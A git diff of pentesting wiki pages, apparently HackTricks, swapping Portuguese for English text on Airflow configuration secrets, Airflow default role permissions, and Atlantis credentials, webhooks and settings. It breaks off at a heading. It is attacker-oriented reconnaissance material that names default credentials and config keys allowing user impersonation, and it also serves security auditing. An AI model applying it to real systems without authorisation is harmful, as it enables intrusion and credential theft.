Note que os **valores dentro do arquivo de configuração** **podem não ser os utilizados**, pois você pode sobrescrevê-los definindo variáveis de ambiente como `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
Note that the **values inside the config file** **might not be the ones used**, as you can overwrite them setting env variables such as `AIRFLOW__WEBSERVER__EXPOSE_CONFIG: 'true'`.
|
||||
|
||||
Se você tiver acesso ao **arquivo de configuração no servidor web**, pode verificar a **configuração real em execução** na mesma página em que a configuração é exibida.\
|
||||
Se você tiver **acesso a alguma máquina dentro do ambiente do airflow**, verifique o **ambiente**.
|
||||
If you have access to the **config file in the web server**, you can check the **real running configuration** in the same page the config is displayed.\
|
||||
If you have **access to some machine inside the airflow env**, check the **environment**.
|
||||
|
||||
Alguns valores interessantes para verificar ao ler o arquivo de configuração:
|
||||
Some interesting values to check when reading the config file:
|
||||
|
||||
### \[api]
|
||||
|
||||
- **`access_control_allow_headers`**: Isso indica os **cabeçalhos permitidos** para **CORS**
|
||||
- **`access_control_allow_methods`**: Isso indica os **métodos permitidos** para **CORS**
|
||||
- **`access_control_allow_origins`**: Isso indica as **origens permitidas** para **CORS**
|
||||
- **`auth_backend`**: [**De acordo com a documentação**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) algumas opções podem ser configuradas para definir quem pode acessar a API:
|
||||
- `airflow.api.auth.backend.deny_all`: **Por padrão, ninguém** pode acessar a API
|
||||
- `airflow.api.auth.backend.default`: **Todos podem** acessá-la sem autenticação
|
||||
- `airflow.api.auth.backend.kerberos_auth`: Para configurar **autenticação kerberos**
|
||||
- `airflow.api.auth.backend.basic_auth`: Para **autenticação básica**
|
||||
- `airflow.composer.api.backend.composer_auth`: Usa autenticação de compositores (GCP) (de [**aqui**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: Isso indica o **papel** que o **usuário compositor** terá dentro do **airflow** (**Op** por padrão).
|
||||
- Você também pode **criar seu próprio método de autenticação** com python.
|
||||
- **`google_key_path`:** Caminho para a **chave da conta de serviço GCP**
|
||||
- **`access_control_allow_headers`**: This indicates the **allowed** **headers** for **CORS**
|
||||
- **`access_control_allow_methods`**: This indicates the **allowed methods** for **CORS**
|
||||
- **`access_control_allow_origins`**: This indicates the **allowed origins** for **CORS**
|
||||
- **`auth_backend`**: [**According to the docs**](https://airflow.apache.org/docs/apache-airflow/stable/security/api.html) a few options can be in place to configure who can access to the API:
|
||||
- `airflow.api.auth.backend.deny_all`: **By default nobody** can access the API
|
||||
- `airflow.api.auth.backend.default`: **Everyone can** access it without authentication
|
||||
- `airflow.api.auth.backend.kerberos_auth`: To configure **kerberos authentication**
|
||||
- `airflow.api.auth.backend.basic_auth`: For **basic authentication**
|
||||
- `airflow.composer.api.backend.composer_auth`: Uses composers authentication (GCP) (from [**here**](https://cloud.google.com/composer/docs/access-airflow-api)).
|
||||
- `composer_auth_user_registration_role`: This indicates the **role** the **composer user** will get inside **airflow** (**Op** by default).
|
||||
- You can also **create you own authentication** method with python.
|
||||
- **`google_key_path`:** Path to the **GCP service account key**
|
||||
|
||||
### **\[atlas]**
|
||||
|
||||
- **`password`**: Senha do Atlas
|
||||
- **`username`**: Nome de usuário do Atlas
|
||||
- **`password`**: Atlas password
|
||||
- **`username`**: Atlas username
|
||||
|
||||
### \[celery]
|
||||
|
||||
- **`flower_basic_auth`** : Credenciais (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: URL do Postgres que pode conter **credenciais**.
|
||||
- **`ssl_cacert`**: Caminho para o cacert
|
||||
- **`ssl_cert`**: Caminho para o cert
|
||||
- **`ssl_key`**: Caminho para a chave
|
||||
- **`flower_basic_auth`** : Credentials (_user1:password1,user2:password2_)
|
||||
- **`result_backend`**: Postgres url which may contain **credentials**.
|
||||
- **`ssl_cacert`**: Path to the cacert
|
||||
- **`ssl_cert`**: Path to the cert
|
||||
- **`ssl_key`**: Path to the key
|
||||
|
||||
### \[core]
|
||||
|
||||
- **`dag_discovery_safe_mode`**: Habilitado por padrão. Ao descobrir DAGs, ignore quaisquer arquivos que não contenham as strings `DAG` e `airflow`.
|
||||
- **`fernet_key`**: Chave para armazenar variáveis criptografadas (simétrica)
|
||||
- **`hide_sensitive_var_conn_fields`**: Habilitado por padrão, oculta informações sensíveis de conexões.
|
||||
- **`security`**: Qual módulo de segurança usar (por exemplo, kerberos)
|
||||
- **`dag_discovery_safe_mode`**: Enabled by default. When discovering DAGs, ignore any files that don’t contain the strings `DAG` and `airflow`.
|
||||
- **`fernet_key`**: Key to store encrypted variables (symmetric)
|
||||
- **`hide_sensitive_var_conn_fields`**: Enabled by default, hide sensitive info of connections.
|
||||
- **`security`**: What security module to use (for example kerberos)
|
||||
|
||||
### \[dask]
|
||||
|
||||
- **`tls_ca`**: Caminho para ca
|
||||
- **`tls_cert`**: Caminho para o cert
|
||||
- **`tls_key`**: Caminho para a chave tls
|
||||
- **`tls_ca`**: Path to ca
|
||||
- **`tls_cert`**: Part to the cert
|
||||
- **`tls_key`**: Part to the tls key
|
||||
|
||||
### \[kerberos]
|
||||
|
||||
- **`ccache`**: Caminho para o arquivo ccache
|
||||
- **`forwardable`**: Habilitado por padrão
|
||||
- **`ccache`**: Path to ccache file
|
||||
- **`forwardable`**: Enabled by default
|
||||
|
||||
### \[logging]
|
||||
|
||||
- **`google_key_path`**: Caminho para as credenciais JSON do GCP.
|
||||
- **`google_key_path`**: Path to GCP JSON creds.
|
||||
|
||||
### \[secrets]
|
||||
|
||||
- **`backend`**: Nome completo da classe do backend de segredos a ser habilitado
|
||||
- **`backend_kwargs`**: O parâmetro backend_kwargs é carregado em um dicionário e passado para **init** da classe do backend de segredos.
|
||||
- **`backend`**: Full class name of secrets backend to enable
|
||||
- **`backend_kwargs`**: The backend_kwargs param is loaded into a dictionary and passed to **init** of secrets backend class.
|
||||
|
||||
### \[smtp]
|
||||
|
||||
- **`smtp_password`**: Senha SMTP
|
||||
- **`smtp_user`**: Usuário SMTP
|
||||
- **`smtp_password`**: SMTP password
|
||||
- **`smtp_user`**: SMTP user
|
||||
|
||||
### \[webserver]
|
||||
|
||||
- **`cookie_samesite`**: Por padrão é **Lax**, então já é o valor mais fraco possível
|
||||
- **`cookie_secure`**: Define a **flag segura** no cookie de sessão
|
||||
- **`expose_config`**: Por padrão é False, se verdadeiro, a **configuração** pode ser **lida** do **console** web
|
||||
- **`expose_stacktrace`**: Por padrão é True, mostrará **tracebacks do python** (potencialmente útil para um atacante)
|
||||
- **`secret_key`**: Esta é a **chave usada pelo flask para assinar os cookies** (se você tiver isso, pode **se passar por qualquer usuário no Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Caminho** para o **certificado** **SSL**
|
||||
- **`web_server_ssl_key`**: **Caminho** para a **Chave** **SSL**
|
||||
- **`x_frame_enabled`**: O padrão é **True**, então por padrão o clickjacking não é possível
|
||||
- **`cookie_samesite`**: By default it's **Lax**, so it's already the weakest possible value
|
||||
- **`cookie_secure`**: Set **secure flag** on the the session cookie
|
||||
- **`expose_config`**: By default is False, if true, the **config** can be **read** from the web **console**
|
||||
- **`expose_stacktrace`**: By default it's True, it will show **python tracebacks** (potentially useful for an attacker)
|
||||
- **`secret_key`**: This is the **key used by flask to sign the cookies** (if you have this you can **impersonate any user in Airflow**)
|
||||
- **`web_server_ssl_cert`**: **Path** to the **SSL** **cert**
|
||||
- **`web_server_ssl_key`**: **Path** to the **SSL** **Key**
|
||||
- **`x_frame_enabled`**: Default is **True**, so by default clickjacking isn't possible
|
||||
|
||||
### Autenticação Web
|
||||
### Web Authentication
|
||||
|
||||
By default **web authentication** is specified in the file **`webserver_config.py`** and is configured as
|
||||
|
||||
Por padrão, a **autenticação web** é especificada no arquivo **`webserver_config.py`** e é configurada como
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_DB
|
||||
```
|
||||
O que significa que a **autenticação é verificada contra o banco de dados**. No entanto, outras configurações são possíveis, como
|
||||
|
||||
Which means that the **authentication is checked against the database**. However, other configurations are possible like
|
||||
|
||||
```bash
|
||||
AUTH_TYPE = AUTH_OAUTH
|
||||
```
|
||||
Para deixar a **autenticação para serviços de terceiros**.
|
||||
|
||||
No entanto, também há uma opção para **permitir acesso a usuários anônimos**, definindo o seguinte parâmetro para o **papel desejado**:
|
||||
To leave the **authentication to third party services**.
|
||||
|
||||
However, there is also an option to a**llow anonymous users access**, setting the following parameter to the **desired role**:
|
||||
|
||||
```bash
|
||||
AUTH_ROLE_PUBLIC = 'Admin'
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,40 +4,43 @@
|
||||
|
||||
## RBAC
|
||||
|
||||
(Do docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: O Airflow vem com um **conjunto de funções por padrão**: **Admin**, **User**, **Op**, **Viewer** e **Public**. **Apenas usuários `Admin`** podem **configurar/alterar as permissões para outras funções**. Mas não é recomendado que usuários `Admin` alterem essas funções padrão de qualquer forma, removendo ou adicionando permissões a essas funções.
|
||||
(From the docs)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow ships with a **set of roles by default**: **Admin**, **User**, **Op**, **Viewer**, and **Public**. **Only `Admin`** users could **configure/alter the permissions for other roles**. But it is not recommended that `Admin` users alter these default roles in any way by removing or adding permissions to these roles.
|
||||
|
||||
- **Usuários `Admin`** têm todas as permissões possíveis.
|
||||
- **Usuários `Public`** (anônimos) não têm nenhuma permissão.
|
||||
- **Usuários `Viewer`** têm permissões limitadas de visualização (apenas leitura). **Não podem ver a configuração.**
|
||||
- **Usuários `User`** têm permissões de `Viewer` mais permissões adicionais que permitem gerenciar DAGs um pouco. Eles **podem ver o arquivo de configuração.**
|
||||
- **Usuários `Op`** têm permissões de `User` mais permissões adicionais de operação.
|
||||
- **`Admin`** users have all possible permissions.
|
||||
- **`Public`** users (anonymous) don’t have any permissions.
|
||||
- **`Viewer`** users have limited viewer permissions (only read). It **cannot see the config.**
|
||||
- **`User`** users have `Viewer` permissions plus additional user permissions that allows him to manage DAGs a bit. He **can see the config file**
|
||||
- **`Op`** users have `User` permissions plus additional op permissions.
|
||||
|
||||
Observe que usuários **admin** podem **criar mais funções** com mais **permissões granulares**.
|
||||
Note that **admin** users can **create more roles** with more **granular permissions**.
|
||||
|
||||
Além disso, note que a única função padrão com **permissão para listar usuários e funções é Admin, nem mesmo Op** poderá fazer isso.
|
||||
Also note that the only default role with **permission to list users and roles is Admin, not even Op** is going to be able to do that.
|
||||
|
||||
### Permissões Padrão
|
||||
### Default Permissions
|
||||
|
||||
Estas são as permissões padrão por função padrão:
|
||||
These are the default permissions per default role:
|
||||
|
||||
- **Admin**
|
||||
|
||||
\[pode deletar em Connections, pode ler em Connections, pode editar em Connections, pode criar em Connections, pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode deletar em Pools, pode ler em Pools, pode editar em Pools, pode criar em Pools, pode ler em Providers, pode deletar em Variables, pode ler em Variables, pode editar em Variables, pode criar em Variables, pode ler em XComs, pode ler em DAG Code, pode ler em Configurations, pode ler em Plugins, pode ler em Roles, pode ler em Permissions, pode deletar em Roles, pode editar em Roles, pode criar em Roles, pode ler em Users, pode criar em Users, pode editar em Users, pode deletar em Users, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances, acesso ao menu em Admin, acesso ao menu em Configurations, acesso ao menu em Connections, acesso ao menu em Pools, acesso ao menu em Variables, acesso ao menu em XComs, pode deletar em XComs, pode ler em Task Reschedules, acesso ao menu em Task Reschedules, pode ler em Triggers, acesso ao menu em Triggers, pode ler em Passwords, pode editar em Passwords, acesso ao menu em List Users, acesso ao menu em Security, acesso ao menu em List Roles, pode ler em User Stats Chart, acesso ao menu em User's Statistics, acesso ao menu em Base Permissions, pode ler em View Menus, acesso ao menu em Views/Menus, pode ler em Permission Views, acesso ao menu em Permission on Views/Menus, pode obter em MenuApi, acesso ao menu em Providers, pode criar em XComs]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on Roles, can read on Permissions, can delete on Roles, can edit on Roles, can create on Roles, can read on Users, can create on Users, can edit on Users, can delete on Users, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs, can read on Task Reschedules, menu access on Task Reschedules, can read on Triggers, menu access on Triggers, can read on Passwords, can edit on Passwords, menu access on List Users, menu access on Security, menu access on List Roles, can read on User Stats Chart, menu access on User's Statistics, menu access on Base Permissions, can read on View Menus, menu access on Views/Menus, can read on Permission Views, menu access on Permission on Views/Menus, can get on MenuApi, menu access on Providers, can create on XComs]
|
||||
|
||||
- **Op**
|
||||
|
||||
\[pode deletar em Connections, pode ler em Connections, pode editar em Connections, pode criar em Connections, pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode deletar em Pools, pode ler em Pools, pode editar em Pools, pode criar em Pools, pode ler em Providers, pode deletar em Variables, pode ler em Variables, pode editar em Variables, pode criar em Variables, pode ler em XComs, pode ler em DAG Code, pode ler em Configurations, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances, acesso ao menu em Admin, acesso ao menu em Configurations, acesso ao menu em Connections, acesso ao menu em Pools, acesso ao menu em Variables, acesso ao menu em XComs, pode deletar em XComs]
|
||||
\[can delete on Connections, can read on Connections, can edit on Connections, can create on Connections, can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can delete on Pools, can read on Pools, can edit on Pools, can create on Pools, can read on Providers, can delete on Variables, can read on Variables, can edit on Variables, can create on Variables, can read on XComs, can read on DAG Code, can read on Configurations, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances, menu access on Admin, menu access on Configurations, menu access on Connections, menu access on Pools, menu access on Variables, menu access on XComs, can delete on XComs]
|
||||
|
||||
- **User**
|
||||
|
||||
\[pode ler em DAGs, pode editar em DAGs, pode deletar em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode editar em Task Instances, pode deletar em DAG Runs, pode criar em DAG Runs, pode editar em DAG Runs, pode ler em Audit Logs, pode ler em ImportError, pode ler em XComs, pode ler em DAG Code, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances, pode criar em Task Instances, pode deletar em Task Instances]
|
||||
\[can read on DAGs, can edit on DAGs, can delete on DAGs, can read on DAG Runs, can read on Task Instances, can edit on Task Instances, can delete on DAG Runs, can create on DAG Runs, can edit on DAG Runs, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances, can create on Task Instances, can delete on Task Instances]
|
||||
|
||||
- **Viewer**
|
||||
|
||||
\[pode ler em DAGs, pode ler em DAG Runs, pode ler em Task Instances, pode ler em Audit Logs, pode ler em ImportError, pode ler em XComs, pode ler em DAG Code, pode ler em Plugins, pode ler em DAG Dependencies, pode ler em Jobs, pode ler em My Password, pode editar em My Password, pode ler em My Profile, pode editar em My Profile, pode ler em SLA Misses, pode ler em Task Logs, pode ler em Website, acesso ao menu em Browse, acesso ao menu em DAG Dependencies, acesso ao menu em DAG Runs, acesso ao menu em Documentation, acesso ao menu em Docs, acesso ao menu em Jobs, acesso ao menu em Audit Logs, acesso ao menu em Plugins, acesso ao menu em SLA Misses, acesso ao menu em Task Instances]
|
||||
\[can read on DAGs, can read on DAG Runs, can read on Task Instances, can read on Audit Logs, can read on ImportError, can read on XComs, can read on DAG Code, can read on Plugins, can read on DAG Dependencies, can read on Jobs, can read on My Password, can edit on My Password, can read on My Profile, can edit on My Profile, can read on SLA Misses, can read on Task Logs, can read on Website, menu access on Browse, menu access on DAG Dependencies, menu access on DAG Runs, menu access on Documentation, menu access on Docs, menu access on Jobs, menu access on Audit Logs, menu access on Plugins, menu access on SLA Misses, menu access on Task Instances]
|
||||
|
||||
- **Public**
|
||||
|
||||
\[]
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,111 +2,111 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
### Informações Básicas
|
||||
### Basic Information
|
||||
|
||||
Atlantis basicamente ajuda você a executar terraform a partir de Pull Requests do seu servidor git.
|
||||
Atlantis basically helps you to to run terraform from Pull Requests from your git server.
|
||||
|
||||
.png>)
|
||||
|
||||
### Laboratório Local
|
||||
### Local Lab
|
||||
|
||||
1. Vá para a **página de lançamentos do atlantis** em [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) e **baixe** a que melhor se adapta a você.
|
||||
2. Crie um **token pessoal** (com acesso ao repositório) do seu usuário **github**.
|
||||
3. Execute `./atlantis testdrive` e isso criará um **repositório de demonstração** que você pode usar para **se comunicar com atlantis**.
|
||||
4. Você pode acessar a página da web em 127.0.0.1:4141.
|
||||
1. Go to the **atlantis releases page** in [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) and **download** the one that suits you.
|
||||
2. Create a **personal token** (with repo access) of your **github** user
|
||||
3. Execute `./atlantis testdrive` and it will create a **demo repo** you can use to **talk to atlantis**
|
||||
1. You can access the web page in 127.0.0.1:4141
|
||||
|
||||
### Acesso ao Atlantis
|
||||
### Atlantis Access
|
||||
|
||||
#### Credenciais do Servidor Git
|
||||
#### Git Server Credentials
|
||||
|
||||
**Atlantis** suporta vários hosts git, como **Github**, **Gitlab**, **Bitbucket** e **Azure DevOps**.\
|
||||
No entanto, para acessar os repositórios nessas plataformas e realizar ações, é necessário ter algum **acesso privilegiado concedido a eles** (pelo menos permissões de escrita).\
|
||||
[**A documentação**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) recomenda criar um usuário nessas plataformas especificamente para o Atlantis, mas algumas pessoas podem usar contas pessoais.
|
||||
**Atlantis** support several git hosts such as **Github**, **Gitlab**, **Bitbucket** and **Azure DevOps**.\
|
||||
However, in order to access the repos in those platforms and perform actions, it needs to have some **privileged access granted to them** (at least write permissions).\
|
||||
[**The docs**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage to create a user in these platform specifically for Atlantis, but some people might use personal accounts.
|
||||
|
||||
> [!WARNING]
|
||||
> Em qualquer caso, do ponto de vista de um atacante, a **conta do Atlantis** será muito **interessante** **para comprometer**.
|
||||
> In any case, from an attackers perspective, the **Atlantis account** is going to be one very **interesting** **to compromise**.
|
||||
|
||||
#### Webhooks
|
||||
|
||||
Atlantis usa opcionalmente [**segredos de Webhook**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) para validar que os **webhooks** que recebe do seu host Git são **legítimos**.
|
||||
Atlantis uses optionally [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) to validate that the **webhooks** it receives from your Git host are **legitimate**.
|
||||
|
||||
Uma maneira de confirmar isso seria **permitir que as solicitações venham apenas dos IPs** do seu host Git, mas uma maneira mais fácil é usar um Segredo de Webhook.
|
||||
One way to confirm this would be to **allowlist requests to only come from the IPs** of your Git host but an easier way is to use a Webhook Secret.
|
||||
|
||||
Observe que, a menos que você use um servidor privado do github ou bitbucket, você precisará expor os endpoints de webhook para a Internet.
|
||||
Note that unless you use a private github or bitbucket server, you will need to expose webhook endpoints to the Internet.
|
||||
|
||||
> [!WARNING]
|
||||
> Atlantis estará **expondo webhooks** para que o servidor git possa enviar informações. Do ponto de vista de um atacante, seria interessante saber **se você pode enviar mensagens**.
|
||||
> Atlantis is going to be **exposing webhooks** so the git server can send it information. From an attackers perspective it would be interesting to know **if you can send it messages**.
|
||||
|
||||
#### Credenciais do Provedor <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
#### Provider Credentials <a href="#provider-credentials" id="provider-credentials"></a>
|
||||
|
||||
[Da documentação:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
[From the docs:](https://www.runatlantis.io/docs/provider-credentials.html)
|
||||
|
||||
Atlantis executa Terraform simplesmente **executando os comandos `terraform plan` e `apply`** no servidor **onde o Atlantis está hospedado**. Assim como quando você executa o Terraform localmente, o Atlantis precisa de credenciais para seu provedor específico.
|
||||
Atlantis runs Terraform by simply **executing `terraform plan` and `apply`** commands on the server **Atlantis is hosted on**. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider.
|
||||
|
||||
Cabe a você como [fornecer credenciais](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) para seu provedor específico ao Atlantis:
|
||||
It's up to you how you [provide credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) for your specific provider to Atlantis:
|
||||
|
||||
- O [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) do Atlantis e o [Módulo AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) têm seus próprios mecanismos para credenciais de provedor. Leia a documentação deles.
|
||||
- Se você estiver executando o Atlantis em uma nuvem, muitas nuvens têm maneiras de conceder acesso à API da nuvem a aplicativos que estão sendo executados nelas, ex:
|
||||
- [Funções AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Pesquise por "Função EC2")
|
||||
- [Contas de Serviço de Instância GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Muitos usuários definem variáveis de ambiente, ex. `AWS_ACCESS_KEY`, onde o Atlantis está sendo executado.
|
||||
- Outros criam os arquivos de configuração necessários, ex. `~/.aws/credentials`, onde o Atlantis está sendo executado.
|
||||
- Use o [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) para obter credenciais de provedor.
|
||||
- The Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) and [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) have their own mechanisms for provider credentials. Read their docs.
|
||||
- If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
|
||||
- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Search for "EC2 Role")
|
||||
- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference)
|
||||
- Many users set environment variables, ex. `AWS_ACCESS_KEY`, where Atlantis is running.
|
||||
- Others create the necessary config files, ex. `~/.aws/credentials`, where Atlantis is running.
|
||||
- Use the [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) to obtain provider credentials.
|
||||
|
||||
> [!WARNING]
|
||||
> O **container** onde o **Atlantis** está **executando** provavelmente **contém credenciais privilegiadas** para os provedores (AWS, GCP, Github...) que o Atlantis está gerenciando via Terraform.
|
||||
> The **container** where **Atlantis** is **running** will highly probably **contain privileged credentials** to the providers (AWS, GCP, Github...) that Atlantis is managing via Terraform.
|
||||
|
||||
#### Página da Web
|
||||
#### Web Page
|
||||
|
||||
Por padrão, o Atlantis executará uma **página da web na porta 4141 no localhost**. Esta página apenas permite que você habilite/desabilite o atlantis apply e verifique o status do plano dos repositórios e os desbloqueie (não permite modificar coisas, então não é tão útil).
|
||||
By default Atlantis will run a **web page in the port 4141 in localhost**. This page just allows you to enable/disable atlantis apply and check the plan status of the repos and unlock them (it doesn't allow to modify things, so it isn't that useful).
|
||||
|
||||
Provavelmente você não a encontrará exposta à internet, mas parece que por padrão **nenhuma credencial é necessária** para acessá-la (e se forem, `atlantis`:`atlantis` são as **padrões**).
|
||||
You probably won't find it exposed to the internet, but it looks like by default **no credentials are needed** to access it (and if they are `atlantis`:`atlantis` are the **default** ones).
|
||||
|
||||
### Configuração do Servidor
|
||||
### Server Configuration
|
||||
|
||||
A configuração para `atlantis server` pode ser especificada por meio de flags de linha de comando, variáveis de ambiente, um arquivo de configuração ou uma mistura dos três.
|
||||
Configuration to `atlantis server` can be specified via command line flags, environment variables, a config file or a mix of the three.
|
||||
|
||||
- Você pode encontrar [**aqui a lista de flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) suportadas pelo servidor Atlantis.
|
||||
- Você pode encontrar [**aqui como transformar uma opção de configuração em uma variável de ambiente**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables).
|
||||
- You can find [**here the list of flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) supported by Atlantis server
|
||||
- You can find [**here how to transform a config option into an env var**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)
|
||||
|
||||
Os valores são **escolhidos nesta ordem**:
|
||||
Values are **chosen in this order**:
|
||||
|
||||
1. Flags
|
||||
2. Variáveis de Ambiente
|
||||
3. Arquivo de Configuração
|
||||
2. Environment Variables
|
||||
3. Config File
|
||||
|
||||
> [!WARNING]
|
||||
> Observe que na configuração você pode encontrar valores interessantes, como **tokens e senhas**.
|
||||
> Note that in the configuration you might find interesting values such as **tokens and passwords**.
|
||||
|
||||
#### Configuração dos Repositórios
|
||||
#### Repos Configuration
|
||||
|
||||
Algumas configurações afetam **como os repositórios são gerenciados**. No entanto, é possível que **cada repositório exija configurações diferentes**, então existem maneiras de especificar cada repositório. Esta é a ordem de prioridade:
|
||||
Some configurations affects **how the repos are managed**. However, it's possible that **each repo require different settings**, so there are ways to specify each repo. This is the priority order:
|
||||
|
||||
1. Arquivo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Este arquivo pode ser usado para especificar como o atlantis deve tratar o repositório. No entanto, por padrão, algumas chaves não podem ser especificadas aqui sem algumas flags permitindo isso.
|
||||
2. Provavelmente necessário ser permitido por flags como `allowed_overrides` ou `allow_custom_workflows`.
|
||||
3. [**Configuração do Lado do Servidor**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): Você pode passá-la com a flag `--repo-config` e é um yaml configurando novas configurações para cada repositório (regexes suportados).
|
||||
4. Valores **padrão**.
|
||||
1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
|
||||
1. Probably required to be allowed by flags like `allowed_overrides` or `allow_custom_workflows`
|
||||
2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config): You can pass it with the flag `--repo-config` and it's a yaml configuring new settings for each repo (regexes supported)
|
||||
3. **Default** values
|
||||
|
||||
**Proteções de PR**
|
||||
**PR Protections**
|
||||
|
||||
